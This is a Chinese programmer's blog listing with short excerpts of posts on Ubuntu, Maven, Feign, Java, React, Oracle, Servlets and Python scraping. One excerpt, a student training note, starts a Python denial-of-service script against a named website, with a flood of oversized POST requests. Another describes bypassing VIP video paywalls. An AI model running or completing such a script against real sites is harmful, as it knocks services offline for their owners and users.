- 博客(34)
- 资源 (8)
- 收藏
- 关注
转载 Ubuntu:你必须知道的常用命令
Ubuntu是基于Debian的开源Linux操作系统,是应用最广泛的Linux操作系统之一。在Ubuntu中,命令行是一个强大的工具,可以让用户更快地完成各种任务。本文将介绍一些常用的Ubuntu命令,以及它们的用法和示例。
2023-04-17 09:19:55 570 1
原创 maven的简单使用(应用)
如果两个配置文件都存在,则以用户配置文件为主合并其内容。maven的依赖调节原则: 1,第一原则:路径近者优先原则 A→B→C→X(1.1) D→E→X(1.2) 使用X(1.2),因为其路径更近 2,第二原则:第一声明者优先原则 A→B→X(1.1) C→D→X(1.2) 使用X(1.1),因为其先声明 maven会先根据第一原则判断,若路径相等,再根据第二原则判断。
2023-02-01 23:50:10 395 1
原创 在微服务中使用Feign调用第三方的接口
在微服务中使用Feign调用第三方的接口概述:在微服务中我们一般使用FeignClient作为服务内部组件的调用,如下:@FeignClient(name = "xxx", fallbackFactory = xxxClientFallback.class)public interface xxxClient { //接口方法}因为name一般都是一个常量,即注册到注册中心的服务,不太适合配置成一个url,那么使用FeignClient怎么调用第三方的接口呢?接下来介绍一下一种使用Feign
2022-01-05 23:19:58 9443
原创 探索Java的序列化和反序列化
Java的序列化和反序列化1、探索Serializable和对象的序列化的关系所谓序列化就是将内存中的Java对象转换成字节,从而持久化到硬盘或者用于网络的传输。接下来就来看一下Java的是怎么将一个对象进行序列化的。(此处不借助第三方的包)正常的一个实体类:import java.io.Serializable;/** * Description: * * @author:qjx * @date:2021/12/15 */public class Food implement
2021-12-19 15:00:13 484
原创 程序员找“对象“
1、new一个对象用关键字new进行对象的创建,几乎是写代码时最常用的操作之一了,比如:Cat cat1 = new Cat();Cat cat2 = new Cat( "code", 18 );通过new的方式,我们可以调用类的无参或者有参构造方法来实例化出一个对象。表面上看,简简单单new一下对象就有了,但面试时如果仅仅答到这一层,大概率会扑街,因为比这个更重要的是new对象时的原理和流程,因为JVM这个牵线红娘在背后默默地帮我们做了很多工作。说到new一个对象的具体流程,用一张图可大致描
2021-12-15 20:51:13 202
转载 服务器软件大盘点
服务器软件大盘点!服务器到底是什么?服务器的硬件好理解,其实就是一台性能、稳定性、扩展性等等比我们普通个人PC强的一台机器而已,它也需要搭载操作系统,比如有专门的Windows Server或者各种Linux发行版系统。只不过咱这里很多小伙伴可能还是处于学习阶段,没见过企业里面真实的服务器机房,觉得好奇而已。而一直以来,通过和小伙伴们私信交流发现,很多初学者疑惑的主要可能还是服务器软件层面的东西。类似一些诸如:Web服务器、HTTP服务器、应用服务器、Tomcat、Apache、Nginx……等
2021-12-09 19:07:16 2389
原创 React+AntD的使用记录
对React的jsx的一些记录1、超链接的跳转禁用以及颜色的调整 <a style={{pointerEvents:this.state.data==undefined?"none":"", this.state.data==undefined?"#666666":""}} href="javascript:;" onClick={() => this.view()}>{} </a>...
2021-11-04 13:31:03 382
原创 excel转List工具类
/** * excel文件-->List * @param excelPath excel的路径 例如:/opt/excel/xxx.xls * @param ColumnToKey excel表格的列名->转化成返回的list中map的名字 * @param startRow 数据开始读取的行数 * @param requiredRow 必填项的行数 例如:8 就是1-8列数据是必填的 * @return 以列表的形式返回excel中
2021-09-30 16:01:03 712
原创 React-Hello world
React-Hello world删除以下两个文件夹:publicsrc重新建立空的public和src文件夹1、在public下新建index.html作为页面的唯一html<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <title>react脚手架</title> </head> <
2021-09-29 15:34:09 91
原创 React项目结构
React项目结构这里我使用VSCode打开项目1、总览[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-62yShV6b-1632900743853)(https://i.loli.net/2021/09/08/CRSwIdBulqg5kOo.png)]2、重要的三个文件2.1、index.html<!DOCTYPE html><html lang="en"> <head> <meta charset="utf
2021-09-29 15:33:12 756
原创 create-react-app
create-react-app1、首先安装create-react-app 脚手架npm install -g create-react-app2、使用脚手架创建一个自己的项目我在桌面位置创建 react01项目create-react-app react01[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IMlEFqwC-1632900630309)(https://i.loli.net/2021/09/08/BnKLOZhvg8NQaJp.png)]
2021-09-29 15:32:00 145
原创 oracle数据库总结
1.for update nowaitselect… for update语句是我们经常使用手工加锁语句。通常情况下,select语句是不会对数据加锁,妨碍影响其他的DML和DDL操作。同时,在多版本一致读机制的支持下,select语句也不会被其他类型语句所阻碍。借助for update子句,我们可以在应用程序的层面手工实现数据加锁保护操作。2.where 1=1where 1=1的写法是为了检化程序中对条件的检测1=1的用处 主要用来构件动态SQLString sql = "select
2021-07-18 11:58:56 346
原创 java学习笔记(持续更新)
Java基础学习(持续更新…)一、jdk的安装jdk包括开发工具jre:jvm核心类库一个电脑上可以安装很多个版本的jdk, 只要安装目录不同就可以了,至于以后你用哪一个, 环境变量里面你就去配置哪一个就可以了。二、为什么要配置环境变量我们想让 java命令和javac命令在任意的目录下都可以使用, 而不只是 bin目录。用dos命令来编译运行java程序:cd:切换目录进入目录dir : 展示目录下的 直接目录结构。除了根目录, 其他的目录下面 都会有
2020-08-01 22:53:58 142
原创 爬虫架构-bs4
爬虫架构-bs4方便解析Html、xml等格式的源码,快速查询、修改等操作,节省数小时乃至更多的工作时间官网文档https://beautifulsoup.readthedocs.io/zh_CN/v4.4.0/from bs4 import BeautifulSoupprint('path-',BeautifulSoup)path- <class 'bs4.BeautifulSoup'>html源代码非真实网页html_doc = '<html><hea
2020-07-08 17:39:19 180
原创 爬虫框架-数据挖掘(requests请求框架)
爬虫框架-数据挖掘分类:1网络爬虫(公开) 2蠕虫爬虫(病毒)工作流程:访问(浏览器:客户端) - 模拟器(脚本:恶意访问) - 获取网页数据 - 解析数据 - 过滤数据 - 本地存储(txt,word,Excel,rids,mangdb,mysql…)爬虫进阶:urllib,rerequests,bs4自动化selenuim分布式scrapy第三方框架安装:cmd: pip install 库名cmd: pip uninstall 库名cmd: pip s
2020-07-08 17:38:28 242
原创 python实训-DOS攻击
DOS攻击import socketimport timeimport threadingMAX_CONN = 200HOST = "www.bjlovedog.com" # 主机PAGE = "/index.php" # 主机的页面POST = 80 # 主机的端口BUF = ("POST %s HTTP/1.1\r\n" "HOST: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_
2020-07-08 09:42:48 527 2
原创 python实训笔记(1)
python实训笔记-vip视频破解禁止非法盈利,限于学习使用思路:借助第三方接口帮助我们分析视频的url,破解视频,调用本地浏览器打开视频import tkinter,re,webbrowserimport tkinter.messagebox as msgboxfrom urllib import parseclass APP: # 初始化GUI界面 def __init__(self,width=500,height=300,title="全网VIP视频破
2020-07-08 09:38:53 189
原创 JDBC连接数据库的步骤
eclipse中使用JDBC连接数据库的步骤1.使用映射注册驱动2.获取链接3.获取操作数据的对象4.向数据库发送查询语句5.遍历结果集6.关闭连接7.一个例子1.使用映射注册驱动//在编程时常用映射注册驱动(这里连接的是mysql的驱动)Class.forName("com.mysql.jdbc.Driver");2.获取链接String url = "jdbc:mysql://lo...
2020-04-20 18:18:27 261
原创 解决请求参数的中文乱码问题
解决请求参数的中文乱码问题:1.处理get提交的中文乱码:string的构造方法String s = new String(string.getBytes(),"utf-8");2.处理post提交的中文乱码:改变缓冲区的编码格式request.setCharacterEncoding("utf-8");...
2020-03-25 10:50:40 477
原创 JavaServlet实现网页的定时跳转和刷新
JavaServlet实现网页的定时跳转和刷新定时跳转:需要用到Refresh响应头第一个参数为Refersh ,第二个中sec是跳转的时间单位秒,URL为跳转的地址。response.setHeader("Refresh", "sec;URL=/???");定时刷新sec为定时刷新的时间单位秒。response.setHeader("Refresh", "sec");...
2020-03-25 10:28:19 950
原创 Java Servlet 解决中文乱码问题(2)
Java Servlet 解决中文乱码问题(2)使用字符流向浏览器输出中文(一定会乱码)乱码格式为:???因为相应标头里面的编码格式为 ISO-8859-1,此编码格式不支持中文如下:Content-Type: text/html; charset=ISO-8859-1 //1.处理字符流的中文乱码问题 //2.处理服务器编码 //response.setCha...
2020-03-23 11:25:30 164
原创 Java Servlet 解决中文乱码问题(1)
Java Servlet 解决中文乱码问题(1)使用字节流向浏览器输出中文(可能会乱码)//1.处理字节流的中文乱码问题 String data = "中国"; ServletOutputStream out = response.getOutputStream(); //2.处理乱码 //3.让浏览器端的编码为utf-8 繁写方式 //response.setHead...
2020-03-23 10:56:02 146
pandoc-2.16.1-windows-x86-64.msi
2021-11-16
mLibraryManager.zip
2020-08-03
java小项目 学生管理系统+截图.zip
2020-08-03
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人